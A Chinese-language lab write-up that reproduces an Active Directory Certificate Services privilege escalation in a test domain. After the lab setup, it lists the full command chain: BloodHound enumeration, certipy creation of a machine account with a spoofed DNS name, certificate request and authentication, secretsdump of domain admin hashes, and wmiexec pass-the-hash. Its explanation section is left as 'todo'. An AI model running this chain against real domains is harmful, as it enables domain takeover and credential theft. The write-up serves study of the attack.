描述:在带有安装默认活动目录环境中(Active Directory Certificate Services(AD CS))的域环境中,可以允许低权限用户将权限提升到域管理员。
实验环境:
Kali 2022 (ip: 192.168.88.129),下文中称作攻击机。
Windows 2012 Service R2 (ip: 192.168.88.151) ,下文中称作靶机。
环境准备,在 靶机中配置相应的IP地址、安装相应的域环境。
在服务器管理器中添加角色,选择相应的Active Directory域服务,以及关键的Active Directory证书服务(该漏洞利用点为该证书服务,详情见下文)
默认下一步即可。
在安装完之后需要进行域环境配置,在服务器管理器中,AD CS里面有个感叹号(图中环境已配置好),点进去一直下一步即可。
装完域环境之后,重启机器。
我们在Powershell(管理员权限)中使用Install-addsforest命令进行新建一个域环境。
域环境名为test.local
\
之后我们添加一个低权限的用户,用户名为midi1,密码为abcABC!
\
此时靶机中的环境已经准备完毕。
攻击机环境
BloodHound(靶机的域环境数据的可视化) 、BloodHound-python(获取靶机的域环境数据)
BloodHound-python安装: github.com/fox-it/Bloo…
克隆下来进行
sudo python3 setup.py install
BloodHound需要neo4j的支持,安装的步骤网上查询。
使用BloodHound-python将域内环境数据获取下来
bloodhound-python -d test.local -u midi1 -p 'abcABC!' -ns 192.168.88.151 -c All --zip
先启动neo4j(sudo neo4j conlose),再启动BloodHound,将数据包导入进去。
在搜索过滤窗口中搜索,certificate serive, 如果能搜索到,说明该服务器安装了Active Directory证书服务,也就是存在漏洞的地方。
也可以查询到相关机器的计算机名称,域内管理信息,最短路径到域控等
主机名为WIN-7BSUV3KIILD
使用certipy进行创建一个machine账户
certipy account create test.local/midi1:'abcABC!'@WIN-7BSUV3KIILD.test.local -user "midi777" -dns "WIN-7BSUV3KIILD.test.local" -debug
使用该machine账户获取相应凭证
certipy req test.local/'midi777$:m7CEuEHaHB5w8f2o'@WIN-7BSUV3KIILD.test.local -ca test-WIN-7BSUV3KIILD-CA -template Machine
获取相应的凭证
certipy auth -pfx win-7bsuv3kiild.pfx
从凭证中获取到域管理员的哈希值
secretsdump.py 'test.local/win-7bsuv3kiild$@win-7bsuv3kiild.test.local' -hashes c6843957d14c62aeff9ded1719957b22:c6843957d14c62aeff9ded1719957b22
通过哈希值使用wmiexec进行命令执行
wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8a77f3ddcfd5c4a7f73ad21e25d90346 administrator@192.168.88.151
此时已经获得域控管理员的权限了
原理:
todo
参考文献: